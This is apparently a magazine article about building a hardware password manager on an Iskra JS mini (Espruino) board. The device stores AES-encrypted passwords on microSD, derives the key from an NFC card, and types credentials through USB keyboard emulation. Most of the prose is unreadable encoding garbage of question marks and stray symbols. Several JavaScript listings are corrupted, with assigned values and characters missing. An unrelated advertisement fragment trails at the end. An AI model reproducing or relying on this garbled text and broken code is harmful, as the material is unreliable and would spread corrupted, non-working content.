????� ?� ???�????�??� ???????�??� ???� ??� ???�??????� ???�???� Espruino,� ???� ?� ??
???�????�????營skra燡S.
�???? ??? ???�, ???�? ?????? ?? ??? ???????????? ?????
???�?� ???�??????� ?� ?� ???�???� ???�?????�??� ???????.� ??� ???� ????�???�?
?????�???�??��????�?????�??�?��??�??�???�?????.�?��?�??�????�
????�?�???�??�??�?????�???�??�??�?�???????�???????�??�??�?.
????,� ?????�?� ???�??????� ?� ???�?� ????�?????� ?????� ???????� �???�,� ???,
??????�??�?營skra燡S��??�???,�???�??�?,�?????��??�?????��??�???
???�??�???,� ?� ???�?� ??????� ??????�???� ????�???�???� ???� ??????�???�??
???�????,� ???�????�?� ?????�????,� ?� ???�???� ???�??� ?� ????�??�??.� :)� ?� ???
???�?,�??�???�???��??�???�?�???�?�??�????��??�????�?????�??????
???�????� ???�????�?,� ?� ?� ???????�?� ???�?� ???�???� �????�?�,� ??????�???
??�???�?????.
????�??�?�??�?,�?�??�??�??�??�?????�??�??�????�?????��???,
GSM????�?????�??� ?� ???�??� ?????�?� ????�??�??.� ????� ????�????�???�??
???營skra燡S�??�???�?�??�?�??�???�????,�??�??�?�???�???�???�?�???�
?????�??�???� ???�??�???� ?� ??� ????�???????�??� ???�?????�???�?,
??�??�?????�??�??�??�??�??�?.
INFO
???�???� ???�??�?� ?� Espruino?based� ???�??� ????�
????� ??????�??� ????�???�??.� ???�??�?� ?� ????�
?????�???�???� ????� ?� ?� ???� Espruino.� ???� ????�
????�???� ???�??�?� ?� ??????�?� ?????
???????????� ???�????�???�???.� ?� ????�?????
???� ???�??????� ??????� JavaScript?????� ???????�
????�?�??????�??�??�?�?�??????????.��??
????�??� ???�?� ???????????� ??� ???�???� ????
?� ??????� ??????� ?????�?� ???�?� ??????�?� ????�
???�??,� ????� ???�???�??� ???� ??� ????????
???�??�?????�?�???.
???�?�???�?
????,� ???�?� ????� ????????� ????�??� ??????� ??????� ??????�?� ?� ???�???�??
???�??�????,� ????????� ???�??.� ?� ???�?� ????�?� ???�?� ????�???????� ?????�
????�????� ?� ???,� ?????� ?� ????� ????� ???????� ??????�???,� ?� ????�?� ?� ????�
??????�??�??�??�???�??��??????.
? ???�??�????�??????��??????�???�??�???�??�?爉icroSD.�??�?????
?�??,�???�???�???�?,�???�????�?????�??�??�??�???.
? ?� ????� ???????�??� ?????� ?????�???�???� ????????� ?� ??????� ?� ???????�
????�??,� ???????� ???�?????� ?� ???????,� ???� ???� ???�??� ????�?� ??????�?
????�??�????�?�??�??�????�?�?????�?�??�??????,��?�??�?�??�
???�?????�?� ?????� ???????�??� ???�??� ???�?� ??� ???�??????� ????�???,
??��??�????�??????�??�?�???�??�?��?????�??????.
??�??� ????�?????� ????� ????�?????�?,� ??� ???� ???�???� ????� AES?256� ?� ??
???�?????�???�???.
? ???� ???� ?� �??????粻 ??� ????� ??� ???� ??????� ????�???�??� ???????� ?� ????�
???�?,�????�???�??�????�???�???�???????��??�???�?????�?�?????�
????�??????�燨LED????�??�?��????�???�??�????�????�96�??�?
?��??�??�???�?�?�???營2C�(???�?????�?�???�???,�???�?????�??�?
?????????� ???�?� ?????�????� ?� ???�??�???� ?????� ????� ???�??,� ??� ?????�
???�??�?�????�?????�?????�????�???�??�??�????).
? ???�??�????�??�?�??�?�????�??�???�??�???�??�???�???�???????
???�?� �??�??�,� ??????�???� ??� ???�??????� RFID� ?,� ???� ????�???�???,
???�???� ??????�??� ???????� ??????,� ???�??�??� ???� ??????�???.
??????�???� ???�?� �??�??粻 ?� 80� ?� 164� ????� ??????.� ???�??�?� ????????�
???� ????�???�?� ??� ??????� ???�?.� ?� ???,� ???� ??� 164� ????� ??� ???�?,
????� 80� ????,� ???�??�??� ???� ??????�???� (?� 16??� ??� 35??� ????�???
???� ???�?� ?� 0).� ?????� ???????�????�??� ????� ?� ????� ???�?????� ???�??�??
???????�??.� ????� ????� ???�???� ?� ??,� ???� ?� �??????粻 ????� ???�????�??
?� ???�??�????� ??� ??????� ?� ???�???� �??�??粻 JS????�????�?
???� NFC/RFID???????� ??� ????�?� ???�????�?� NXP燩N532,� ???� ????� ????�
???� ????????�?� ?� ???� ????�?� ???� ?????� ??????�???� ???�????� ????�????
??????�燫FID/NFC????�???.
??�??????�???� ??� ????�??,� ???�?� ????� ????�?????� ?� ????�?� ???�???�?
?�???�????�???�??.
??�?????�?� ??� ????�?� ????� ???�?� ????�??�??� ???�?� Iskra� JS� ?� ??????�
??????�??�??�??�??�??????.�??�????�?�??�??????�?�??�??�???,�???�
???��?????�??�??�????�??.
???�??�??�????�??�??�???
???�??�??�????��??�???�?�????�???
???�?� ?????�???� ????????�??� ????�??� ???�?� ?� Iskra� JS� mini� c
STM32F411CEU6� ??� ???�?,� ?� ???� ???�?????� ?????�???�?� ???�?????� ???�???
??????�???��??�???�??�?????�??.
??�????�??�??�?營skra燡S爉ini
???�?�?�???�?�?��??????�???�?????�???.
??????????
???�?????�???�?????�???�?????�??�?�??�????�?,��???�?�?????�???�
??� ????????� ?� ???�??� ??????� ???�?,� ??� ??????�??�?� ????�???.� ???�????
??�???�??�?�??�?�??�????�?�??�?�???????�?�?�?�??�???營skra燡S.
??�?�?�?�???�????�?�??�??�??燝oogle燙hrome,�?�??�?�???�?????
?????�??� ???�???�??� ???� Windows� ?� ???�?� ???�???� Espruino� ????� ??????�
???????�?�??�???�???� ??�????�??�??� ???�?� ???�????�?� ?� GitHub� ?� ??????�
????�?�?????�?��??????�???�???�?� NW.js,�???�?�??�???�??�??�???�
??�??�?��??�?��???�???�??��????�??�??????�???�???爊w.
????�??��?�?????�???????�燛spruino燱eb營DE�??�???�?�??�?????
?�??�???��????�?????�???�??�????�???�?牜???????�
? ?�??�???燬ETTINGS�燙OMMUNICATIONS:
? ?�???燤odule燯RL�??�?爃ttp://js.amperka.ru/modules
? ?�???燤odule燛xtensions�??�?�.min.js|.js
? ?�???燬ave爋n燬end�?????燚irect爐o燜lash
? ?�??�???燬ETTINGS�燘OARD:
? ?�???燘oard燡SON燯RL�??�?爃ttp://js.amperka.ru/json
??�?� ???�?� ???�????�?� ???�???� ??� ????� ???�??:� ????�?� ?� ?????�??� ????,
???�?��??�???�????�??�???�?燛spruino,�??�?????�??�????�????��????�
???�??�??�??.
???�?�??�????�?燛spruino燱eb營DE
????�?�??�???�?��??�??�????
???�??�??�??????�?�??�???�?????,�??�?????�?�??�???�??�????�??
???�?.� ???� ???� ?????� ????�???�???� ?� ???� ?� ???� ????????,� ???�?� ????????
?????.
???�????�?????�???�?�????�??�??�?
??�????� ??�????� ?� ????� 3V3� ????�??�??� ???�?� Iskra� JS� mini� ??� ?????�?� +
?????�??�??�?,�牜???�?粻?��???燝ND�?�.
OLED-?????� ?� ???�??�???�?� ??� ????� I2C� ???�?� ??????� ???�????:� GND,
VDD�(VCC),燬CK�(SCL),燬DA.�??�??�??�?��???�???�??�???�????�?�???�
??:
? GND���,
? VDD���+,
? SCK���???燘10,
? SDA���???燘3.
??????�????�??�?�??�??�????:
? G���,
? V���+,
? S���???燗1.
RFID/NFC-??????�??�?�???�??�?????�??�??�??�????��???�??�??�???�
??� (??????� I2C� ?????� D� (SDA)� ?� C� (SCL),� ??????�???�?� ???� ???� ???�???�??
Q),��??�?�??�??�????�??�??�??�????�???�??�??????�(X,燝,燲):
? G���,
? V���+,
? Q���???燘4,
? D���???燘9,
? C���???燘8,
? X,燝,燲���???�???�??�???�??�?????�?�??????.
??�???� ???�??� ????� microSD� ???�??�???�?� ??� ????� SPI� ?� ???�?� ?????
???�?????:
? G���,
? V���+,
? CS��燗4,
? DI�(MOSI)��燘15,
? DO�(MISO)��燘14,
? SCK��燘13.
???�??�?????�????????
????�?� ???� ??????� ????�????�?????,� ???�???� ??� ??????�???� ????� ?????�
????�????��??,�??��??�??�??�??�??�???????.�???.
????�??�?????
??� ???�?� microSD� ???�??�?� ?????�??� ??????� ?� ?????�????�??� ?� ???????
AES�?????�(???�??????�??�?��?????�????�?????).�?�?/????�???/??
???�????�?� ???�??� ?� ????� ???�?� ??????,� ?� ??� �????�?�,� ?� ???????� ???�??
??????????�?�???�?,��???�?????�?�???�??�,�????�?�???�?� X� ?� ????�
?????� ???�?� �??�??粻 ?� RFID????�???,� ??????�?� ???�????� ???�?� ??????.
???� ???�?� ??????� ??????�?� ??� ????�?� Y.� ????�??� ????�?� Z� ???�?� ????�???
???�??�??�????�????�??�?.�???�??�+�????�???�????�???�???.
?????�??�????�???�??????
??�???
???�?�?????�???�???�?��??�?????.�??�????�?????�??�???:� 0?9,� a?
z,� A?Z,� ?=[];'`.,/~!@#$^&*()_+<>?{}":|,� ???�??.� ???�??� ????????� ????�
?????�?????� ???�????� ?� ?????� ???�?� ???�??????� ?� ??�?????� ????� ??????
@amperka/usb?keyboard.js.� ????� %� ??????�???�?� ???� ?????�????� ???????
???�??�???�?��??�????��?�??�??�????�???�?��????�?????.
??�??�????�????�???�????
??� ???�?� microSD� ?� ???�????� ???�????� FAT32� ?� ???�?� db� ???�???�?� ???�?
???�??�??????,�????�????�????��?????,�??�????�??�???�??� Enter.
???�??�?�????�??�???�?�??�??�???.
????�???�???�?�?????�????
?????�???�??�?,�???�???牜?????�?�.�?�???�?�?????�?�??�???� Password
Manager,��????�???��??????�??燬elect燗ccount�(???�??�??�????�?�???�
???).�?????�?�?�???�?�???�?�+,�?�??�???�???�?????�?�??�?牜???�??�
?�?????�???�??�???� Encrypted��???�????�???��????�????�?�??�???�
??� (????�???�?).� ???� ????� ?� ???�??� ??� ???�?� ??????� ?????� ?????�?????,
?�???�??�?�??????�??�??????�.en?.
????�???�???�??�?�??????�????
???�???
??�???,� ????� ???�??� ????�???�????� ?� ???,� ???� ?� ???� ???�??� ????????�?,
????�????��???�????�???�??.
??????????? ??????
?
? �?????�?????
??????
?????????? ISKRA
??????�?????????�???????�??????
?�????????燯SB???????????,�????
??????��????????�????????
????????????????
??�??�??�????� Espruino� ??� ????�??� ???�?� ????�???�???� ??� ECMAScript� 5,
??� ??� ???�?????� ???�?� ???�??�?� ????�?????� ?� ???�??�??� ???????� ????�
??????�??�?燛S6.��????�?????�??�???�???�??????�?????�???�?�???�
??� ???�????.� ??� ????� ???�???,� ???� ???�?� ?� ???????� ?????�??�????� ??� ????
??�??�????.�??�??�???�??�???�??.
INFO
??營skra燡S,�???�?�????�??�???�???�??�??�?
???�????�?燛spruino燱eb營DE,�??�?�???�?�???�
???�???�?� ?� ???�????�???� ???�?????�???�???
???�?� ?????� USB??????�????� (???�????,
?� ???????� ????�????� screen� ?� Unix?based� ??)
?�???????�??�??��??�???�????�??�???�?,�??
?� ?????�??� ???�???� ???�?� ???� ???�??�???
???????�??,�??��????�?????�????.
???�????�?� ??????�?????� ?????�????� ????�
??????????�?� reset(),� ?� ???�????�???�??
????�??� ????� ???�?????,� ??� ??� ?????� ?????�???
???,� ???�????�??� ??� ???????????,� ????� ??
??�??�??�???� load(),��?�??�??�?�???�?
?????�?� ????�?� ?????�????�???????� ?� ?????,
??� ????????� ?� �??�??粻 ???�??�??.� ???�?
??� ?????�???�?� ?� ?????�??�????� ???�???�???
?� ????�????�???�?� ???� ???�????� ????� ???�???
?�????�???�?????�?�??�??�??
????,� ????�????.� ?????�??� Espruino� Web� IDE,� ?????�??� ?� ????� ?????�???
????��??�??�???�????�????.
?� ???�??� ???�???� ???�??�??� ???�????�?,� ???????� ????�?????�???� ????
???�?� ???� HID???????�???� ?� USB????�????�?� ?� ???????� ???�??�????�????
???�??????�??�??�???�?.
var爇b�爎equire('@amperka/usb?keyboard');
??�??�??�??�?�???燬PI�??�?????��??????�??�??�???:
SPI2.setup({mosi:B15,爉iso:B14,爏ck:B13});
???�??�??�??�?????:
E.connectSDCard(SPI2,A4);
?�??�????�?�??�?????��??�????�??�????燜AT32:
var爁s=require("fs");
???�??�??�??�????�?�??�?????��??????�?????�???�?:
var營RR�爎equire('@amperka/ir?receiver').connect(A1);
???�??�?營2C1�??�?????燾燫FID/NFC????????:
I2C1.setup({sda:燘9,爏cl:燘8,燽itrate:�0000});
???�??�??��??�??�?�??�????�?�??�?????�燫FID/NFC????????�?�???
I2C1��????�??�???�??燘4.�??�????�?�??�??�??�?�?????��??�???燤i?
fare燯ltralight.
var爊fc�爎equire('@amperka/nfc').connect({i2c:營2C1,爄rqPin:燘4});
???�????�??�??�??�??�??�???�??�????�??�?.
var爇ey�燵];
??�????� ???????�??� ???� ???�??�?� ??????� ???�??� ?� ????� ?????�??� ?� ????�
???????�??�??�?�??�??�??�????:
var爐ypeSPEED��0;
??�????� ???????�??� busy� ???� ??????� ??� ???�????�?� ???�???� ?� ????�?
??�??�?�???�??�?�??�???�???:
var燽usy��
??�????�??�?�?????�燗ES????�?��??�??:
var爇eylen��;
???�????� ????�???� ???� ????�????� ???�???�??� ???�?� ?� ???�?� ?� key
???�?????�????��?????�???�??:
var爊fc_on_enc��
var爊fc_on_dec��
???�????�???�??�??�???�???�??�???�?????:�????�(=��??�?????�(=�:
var爄login��
??�????�??????�??�??�??�??�???�??�????�?????:
var爈temp��'';
??�????�??????�??�??�??�??�???�??�????�????�????�???�?????:
var爐emp='';
???�????�??�??�??�??�????�???�????�??�??��?????�?/??????�?:
var爁2enc�燵];
??�????� ???�???????,� ?� ???????� ??????�?� ????�???�?� ?????� ?� ??????
?� ???�?.� ?� ???�??� ???�??� ???�?????�??� ?????� ???� ???�???� ?????� ????�?
?燯nix?�燱indows????�???.
var爏pru��'\n\n\n';
var爏prw��'\r\n\r\n\r\n';
???�????�??�??�???.
var爉ainmenu�爗
�""�爗
牋�"title"��"Select燗ccount",
牋�"fontHeight":�
爙
};
??�???� ???�????� ???�???� ???� ???�??� ???�?� ?� ???�???� ???????/???????,
???�????� ??� ??� ????�?� ???�???� ????� ?� ????�?????� ??� ???�????� ???????
?�????�????�??�??????�??�?????�?�?�???�??�?�??�?????.�??�???�
??�??�????�?�??�???�?�??�??�???�(???�??�??????�.enc).
function爎eadDB(){
爒ar燿bfiles�爁s.readdirSync("db");
燿bfiles.forEach(function(b){
牋爄f(b!=='.'�&&燽!=='..'�&&燽.indexOf(".enc")>0){
牋牋爒ar爁f�爁s.readFile('db/'+b).split(spru);
牋牋爉ainmenu[b.slice(0,?4)]�爁unction(){
牋牋牋爈temp�爁f[0];
牋牋牋爐emp�爁f[1];
牋牋牋爈draw('INPUT燙ARD');
牋牋牋爄f(!nfc_on_enc)爊fc_on_dec��
牋牋爙;
牋爙
爙);
}
???�??�??� ???�????�?� ???�????�???� ????� ?� ???�????� ???????�??
???�??????�??�?.�??�?????��?????��???�??�?�??�?????�????.
var爉enu�爎equire("graphical_menu");
var爉;
???�??�??� ???�????�?� ??� ????�??� ?� ???????� ?� ????�??�???� ???�????�?
Graphics:
require("Font8x16").add(Graphics);
???�????� ????�????� ???�???,� ?????�???????� ???� ???�????�????� ????�?.
?� ???� ??� ????�????� ???�??� ????�?� ?� ???????� ??????� setFont8x16()
?�??????�??�???�?????�??�???.
function爏tart(){
爒ar爀rr��
爋led.setFont8x16();
爐ry{爎eadDB();}catch(e){爀rr��}
爄f(err){爈draw('SD燙ARD燛RROR');爙
爀lse{爉Show("PASSWORD燤ANAGER",5000);}
}
???�??�?�???營2C2�??�?????��???�??,�??�??�??�??�????�?,�????�??
????�????�??�???.
I2C2.setup({scl:B10,sda:B3});
var爋led�爎equire("SSD1306").connect(I2C2,start);
???�????�??�???�???�??�?�????�???�??�??�?�???�?�?�????�??�??�?
?�??�???�???�??�??�???�?��???.
function爉Show(text,ms){
爈draw(text);
爏etTimeout(()=>{m�爉enu.list(oled,爉ainmenu);},ms);
}
?� ???�?� ???�???� ????�??�?� ???�??� ??????�???� ????�?� ?� ???????� ??????
drawString().
function爈draw(text){
爋led.clear();
爋led.drawString(text,(64?(text.length/2)*8),26);
爋led.flip();
}
??�??�??�????�??�???�??�????�?????�??�??�?�??�????�?.�?�??????
??????� ???�????�?� ???�????� ??????� ???�????� ?� ?????�?� (typeSPEED� =
100� ??),� ???� ???� ?� ????�??� ???�?????� ?????� ???�??????� ???�??�?� ???�????.
???�????�??�????�?�?燛spruino��??�?�????�??�?????.�)
function爇type(str){
爒ar燾nt��
爒ar爁cnt�爏tr.length;
爒ar爄nt1�爏etInterval(()=>{
牋爇b.type(str[cnt++]);
牋爄f(cnt>=fcnt){
牋牋燾learInterval(int1);
牋牋爐emp='';
牋牋燽usy��
牋牋爉Show('OK',1000);
牋爙
爙,typeSPEED);
}
??�???�????�??��??�???�?????�????�?????�??�?????燗ES�????�???�
??� ?????�????� ???�????�?� crypto.� ??� ????�????� 256� ???� ?� 32� ???�???
??????� ???�????� ?� 32� ????� ???�?.� ??????� ????�?� 32� ???�??� ??????�???
??� 32� ???�????� %.� ?????� ???� ??????�???�??� ???� ???�???� ?????�???�???,
?????�?� ?� ?????� ??????� %� ??� ???�??� ??????�?????�?.� ???� ????�??????�?
??????�??�??�?�?????�?????��??????�??�??�?�???�??????�??.
???�?????�??� ???�?� ??????� ???�?� ?????�???� ??� 24� ?� 16� ???�????,
???????�??�????�??�?�??�?� keylen��???�??�?????�??�???�???��???�
??� ????�??� ?� p2read.� ?????� ???� ??� ????,� ???� ??????� ?????�???� ??????:
??????�???�??�??????�??�??�??�?????�?�????�????�??�???.
function燛nc(text,key){
爒ar爁il��'%';
爓hile(text.length<keylen){爐ext+=fil;}
爒ar爀nc�燗ES.encrypt(text,key);
爒ar爀nc_t�'';
爀nc�爀nc.toString().split(',');
爀nc.forEach(function(a){enc_t+=String.fromCharCode(a);});
爎eturn爀nc_t;
}
??��??�?�??�??�???�?????�???�??.
function燚ec(text,key){
爒ar燿ec�燗ES.decrypt(text,key);
燿ec�燿ec.toString().split(',');
爒ar燿ec_t��'';
燿ec.forEach(function(a){dec_t+=String.fromCharCode(a);});
爎eturn燿ec_t.split('%')[0];
}
???�????�??�???�??�??�?�?�??????��??�?燿b�????�??�??��??????�
??/??????�?�??�??�??????�.enc�???�????�???�??�???�(?????��?????
???�?????� ???�?????,� ?????�???� ???�?????�??� spr).� ???�?� ?????� ???�?,
???�???�??�???�??�??��??�???�??�??�??�?????�????.
function燾hkf2enc(){
爁2enc=[];
爒ar爁iles�爁s.readdir("db");
爁iles.forEach(function(a){
牋爄f(a!=='.'&&a!=='..'&&a.indexOf(".enc")==?1)爁2enc�爁2enc.concat
(a);
爙);
爄f(f2enc.length>0){
牋爈draw('INPUT燙ARD');
牋爊fc_on_enc��
爙else{
牋爉Show('NO燦EW燩ASSWORDS',2000);
爙
}
???�???�??�???�??�??�????�???�??�??�?牜???�??�,�????�??��??�???
p2read.
function燾Read(p,callback){
爄f(p.length!==0){
牋爊fc.readPage(p[0],爁unction(error,燽uffer){
牋牋爄f(error){爙
牋牋爀lse{
牋牋牋爇ey�爇ey.concat(buffer);
牋牋牋爌.shift();
牋牋爙
牋牋爄f(p.length!==0){
牋牋牋燾Read(p,callback);
牋牋爙else{
牋牋牋燾allback();
牋牋爙
牋爙);
爙
}
???�????�??�???,�?????�???�??�?????�??�??�?,�??�????�????�????�
??� ??� ???�?????� ???�????:� ??????�????� ?????� ???????,� ??????� ??????,
??????�???�??� ?� ??????� ??????.� ???� ????�??�?� ?????� ???�??� ?� ??????�?/
??????�?� ?� ???�??� ???�?????�???� ???�???� ???�?� ???� ????�???�?� ????�
???????�.err.
function爂Key(rkey){
爄f(nfc_on_enc){
牋爊fc_on_enc��
牋爄f(rkey.length==keylen){
牋牋爁2enc.forEach(function(a){
牋牋牋爒ar爁t�爁s.readFile('db/'+a);
牋牋牋爒ar爏pr��'';
牋牋牋爒ar爁err��
牋牋牋爄f(ft.indexOf(sprw)>=0){
牋牋牋牋爏pr�爏prw;
牋牋牋爙else爄f(ft.indexOf(spru)>=0){
牋牋牋牋爏pr�爏pru;
牋牋牋爙else{
牋牋牋牋爁err��
牋牋牋爙
牋牋牋爄f(!ferr){
牋牋牋牋爒ar爐�爁t.split(spr);
牋牋牋牋爒ar爐t�爐[1].split('\n')[0].split('\r')[0];
牋牋牋牋爒ar爀nct�燛nc(tt,rkey);
牋牋牋牋爁s.writeFile('db/'+a+'.enc',t[0]+spru+enct);
牋牋牋牋爁s.unlink('db/'+a);
牋牋牋爙else{
牋牋牋牋爈draw('Error爁ormat');
牋牋牋牋爁s.writeFile('db/'+a+'.err',ft);
牋牋牋牋爁s.unlink('db/'+a);
牋牋牋爙
牋牋爙);
牋牋爎eadDB();
牋牋燽usy��
牋牋爉Show('Encrypted',2000);
牋爙
牋爁2enc=[];
爙else爄f(nfc_on_dec){
牋爊fc_on_dec��
牋爄f(ilogin){
牋牋爈draw('Typing燣OGIN');
牋牋爇type(ltemp);
牋牋爐emp��'';
牋牋爈temp��'';�
牋爙else{
牋牋爒ar爁d�燚ec(temp,rkey);
牋牋爈draw('Typing燩ASSWORD');
牋牋爇type(fd);
牋牋爐emp��'';
牋牋爈temp��'';
牋爙
爙
爇ey=[];
}
???�?�??�????�???�??????�??��??�???�???�????��???�??�?�??????
?� ???????�??.� ????�???�?� RFID/NFC???????,� ???????� ?????�??� ???????� tag
???�???�???�??燫FID????�?.
nfc.wakeUp(function(error){
爄f(error){
牋爈draw('NFC燛RROR');
爙else{
牋爊fc.listen();�//�??????�????�????
爙
});
??�???� ???????� ????�??�?� ???????� tag� ???� ????�???�??� RFID????�?.� ????
???�???�???� ????�?� ???� nfc_on_enc=1� ???� nfc_on_dec=1.� ???�??� p2read
?????�??� ??????� ????�?� ????�??� ???� ???�???�??� ?� ???�?� ???�?� ???�????,
??????�?????� ?� ????� ???�?.� ???�????� ????�??� ??????� ????????� ???
??� ?????�???� 16?35.� ???�??,� ???� ????� ????�???� ?????�??� ??????� ???�?
?�??�???�??��??�???�??�??�???�?????.
nfc.on('tag',爁unction(error,燿ata){
爄f(error){
牋爉Show('tag爎ead爀rror',1000);
爙else{
牋爄f(nfc_on_enc||nfc_on_dec){
牋牋燽usy��
牋牋爇ey�燵];
牋牋爒ar爌2read�燵16,18,20,22,24,26,28,30];
牋牋燾Read(p2read,()=>gKey(key));
牋爙
爙
爏etTimeout(function(){
牋爊fc.listen();
爙,�00);
});
??�??�???� ???� ????�??�??� ?????� ???????�?� (?� ???�??� ???�??� ???�?????
?????�?牜???????�).�???�????�??????�???�?�???�?�?�??�???�???.� Busy
??� ????� ?????�???� ???�?????� ???�????,� ????� ??� ?????�???� ???�???�??,
???????�?�??�????.
IRR.on('receive',爁unction(code,爎epeat){
爄f(repeat){
爙else{
牋爄f(!busy){
牋牋爏witch(code){
牋牋燾ase�8101919:�//�????��??????�????�?�???
牋牋牋牋爉.move(?1);
牋牋牋燽reak;
牋牋燾ase�8124359:�//�???��??????�???�?�???
牋牋牋牋爉.move(1);
牋牋牋燽reak;
牋牋燾ase�8132519:�//�???��???????�?�??????�????�?????��
????????/????????
牋牋牋牋燾hkf2enc();
牋牋牋燽reak;
牋牋燾ase�8089679:�//燲��????�?????
牋牋牋牋爄login��
牋牋牋牋爉.select();
牋牋牋燽reak;
牋牋燾ase�8122319:�//燳��????�?????
牋牋牋牋爄login��
牋牋牋牋爉.select();
牋牋牋燽reak;
牋牋燾ase�8105999:�//燴��?????�????�????
牋牋牋牋爊fc_on_enc��
牋牋牋牋爊fc_on_dec��
牋牋牋牋爉Show('Canceled',1000);
牋牋牋燽reak;
牋牋爙
牋爙
爙
});
???��???�??.�????�?,�??�??�??�?�???????�??�?��??�?????�??�???�
??????�?????�?,�?�??�??�?�??�????�??�???.�???�?�??�??????�???�
??????� ???� ??� ????�??� Iskra� JS,� ??� ?� ????� ????� ?????� ????????� ????�?� ????
???�??�????�??????.
??�???� ?????� ???�?� ???�?????� ???� ??� ???????????� ???�????�???�???.
???� ???�?� ???�??� ??� ????�?� ?� ????�?????�?� ???�????�?� Send
to燛spruino.�??�??��??�???�??�?�??�???�????� Direct爐o燜lash,�?�??
?� ????�???�??�?� ???�??�??�???� ???�????�???� ???�????�?� ?� ??????� ????�
?????�???�???.
??�???�???�???�???�?�??????�??�???�??�?�燯SB????�?�??�???,�??�?
???�?�??�??�?????�??燞ID???????�???.
?�??�?�??�???�????
??�??�?,� ????�?� ???� ???�???� ????,� ??� ???�??� ???�???� ???� ???�???.� ??????
???� ?????� ???,� ???????� ??????�??�?� ???� ??????� ???�??�??� ???�????� ?� ????�
???�??� ???????� ??????� ???�?� (?� ??� ?????� 20� ???�??�??� ????�??,� ?????
???????�?�????�?????�?????��???�6????�???�??�?燗ES).
???� ???�?� ???�?� ??????�?????� ????�???�?????� ????� ???,� ?????????� ??
?????�?�??�???�????�??�???�?�??�?????�????�????�??�??�??�????�
???�??�?????�?????????�???:
? rw()��????�????�???�??�???�????�????��????�?????�??�??�???�
???� ???�????� ?� ??????� ??� ???�?� �??�??粻 ?� ????�???� ?� 16??� ??� 35??.
??????� ?� ???�???� (?????� ???�?� IDE)� rw(),� ???�?� Enter� ?� ???�???� ???�?
�??�??粻?�??�???�??�?????�?�??�??
? ro()� ?� ?????�????� ????� ???�???� ?????�????� ?� ?????� ???�??� ???�?
?�?????��??�???�??�????�???�??.
???�??�?????�???�?????�???�??�?????�?�??�?�??�??�??�??�????
I2C1.setup({sda:燘9,爏cl:燘8,燽itrate:�0000});
var爊fc�爎equire('@amperka/nfc').connect({i2c:營2C1,爄rqPin:燘4});
//�?????????�?????�?????????�????????�????
//�?�?????�??????????�?????????燛.hwRand()
var爃wr�爎equire("@amperka/hw?random");
var爎nd��()�>爃wr.int(0,255);
var燾ard�爗p:0,err:0};
var爉�爁alse;�//�??????�??????爁alse��?????,爐rue��?????
var爎w��()�>爉�爐rue;�
var爎o��()�>爉�爁alse;
//�??????�?????????�???????�??????�(page)��????牜??????�
function燾Read(){
爊fc.readPage(card.p,爁unction(error,燽uffer){
牋爄f(error){
牋牋燾ard.err++;
牋牋燾onsole.log('read爌age爀rror');
牋爙else{
牋牋燾onsole.log((card.p�+�"��"�+燽uffer));
牋牋燾ard.p++;
牋牋燾ard.err��
牋爙
牋爄f(card.err<=3){
牋牋爏etTimeout(cRead,4);
牋爙
爙);
}
//�??????�?????�????????�???????��???????��??�?�??�????�
�?????�
function燾Write(){
爄f(card.p<36){
牋爊fc.writePage(card.p,燵rnd(),爎nd(),爎nd(),爎nd()],爁unction(
error){
牋牋爄f(error){
牋牋牋爌rint('write爌age燛RROR');
牋牋爙else{
牋牋牋爌rint('write爌age燨K');
牋牋爙
牋爙);
牋燾ard.p++;
牋爏etTimeout(cWrite,10);
爙
}
//�?????????燫FID/NFC???????
nfc.wakeUp(function(error){
爄f(error){
牋燾onsole.log('nfc爀rror');
爙else{
牋爊fc.listen();�//�??????�????�????
爙
});
nfc.on('tag',爁unction(error,燿ata){
爄f(error){
牋燾onsole.log('nfc爐ag爀rror');
爙else{
牋燾ard.p=0;
牋燾ard.err=0;
牋爄f(!m)燾Read();
牋爄f(m){card.p=16;燾Write();}
爙
爏etTimeout(function(){
牋爊fc.listen();
爙,�00);
});
??�??�??�?�?????�???�???�??��??�??�??�?�?????�?????�??�?牜????�
???�,�????�??�?�????�??�?????�?��??�??�?�??????�??�????.�)
????????
???�?� ????� ???� ???� ??????�???,� ???�?� ????????� ?� ??� ???�??�?.� ????�????
???�?:� ????�???�?????� ???�??� ?� ???�???????� ???� ??� 3D?????�???,� ???�?
????????????�???��??�?�??�????,��??�?�???�?�?????�??�??��??????�
??.
???�?� ?� ????� ???????�?� ???�??�??� ?� ???�???� ????????�??� ???�????,
???????�?????�???�??�??�?????�?.
??�????�??�????牜?????�?�
GEEK
??????????
????
?????�?????
????.�??????????????�
https://foster.ga
colin.patrick.�
foster@gmail.com
???�0�????????�???????
????????�????�???????????
????� ??????� ?� ??????� ????�?????�??�????,� ???�?????
?� ????�???�???�??.� ?????� ????�??� ???�???� ?????,� ??� ?� ????�
???�?????�??�????�???�????��??�?�??�??�???�?????
?�???�?�????��???????�??�???�?.�??�??�??�???�???�
??????�?????�???�??�?????�???,�???????,�??�??????,
???�?� ???�????,� ?????????� ??� ????�??�?� ??� ???�??�???
???�????�?�???�?�?????,��?�???????�??!
????�?????:�??????��????????
??�???� ?????�?� ?� ???????�??� ???�????� ?????????????� ???�??�??�?
?????�??�???�?????��??�???�????�??�??�??????�??�?.�???�?�????
????�??�?� ?� ???,� ????� ???�????.� ????,� ???????�??� ?????�??�??,� ????�??
????�????�??.� ???�?� ????� ???�??????� ???,� ???�?� ????� ?????�??� ?� ?????.
??� ???�??� ????????� ??????� ???????,� ???� ???�??� ????� ???�???�???� ?� ????
???�??.
�???�?�??�???�??�?????�??��???��??�?�???粻?�??�??�??�??
???�????�???�???�????.�???�??�?�??�??,�??�???�?????�??�??牜????
???�?粻?牜????�?��?????�.��??�?�??�?????�??�?????�?????�?��???�
?????,� ??????�???� ???�????�?.� ?????� ??� ???�???�?� ????�??� ????�?????�
????�??.��????�??????�??�??�????燤issouri燩aci?c燫ailroad�?�????�??
???�????�?營BM�?�??�??�????�??�??????�??�????�???�??,�????�????�
??� ????�?????� ???????� ???�???�???.� ????�???� ???�???�?,� ???�?� ??� ???�???
????�?�??�????.
??�???�???�???�?��???�?????�?????��?????�?????�????.�??????�
??� ????�?????�??� ?� ?????� ??� ??????�????� NASA,� ???�???�??�????� ?????�
???�??�?� ????�??????� ?� ???�????� UNIVAC,� ????�??�????� ???�???�????
???�??� ?� Xerox,� ???�???�??�??� ??� ????�??�??�?� ????�??????� ?� Computer
Sciences� Corporation� ?� Booz� Allen� Hamilton.� ?� ?????�??� ?????�?� ??????
??????�???� ???�???�????� ???�???�???� ???�?� ?� ??????�???� ???????�????
????�?.
????�?????�??,� ??????� ???????�???�??� ???.� ???�?� ??????� ???� ?????�
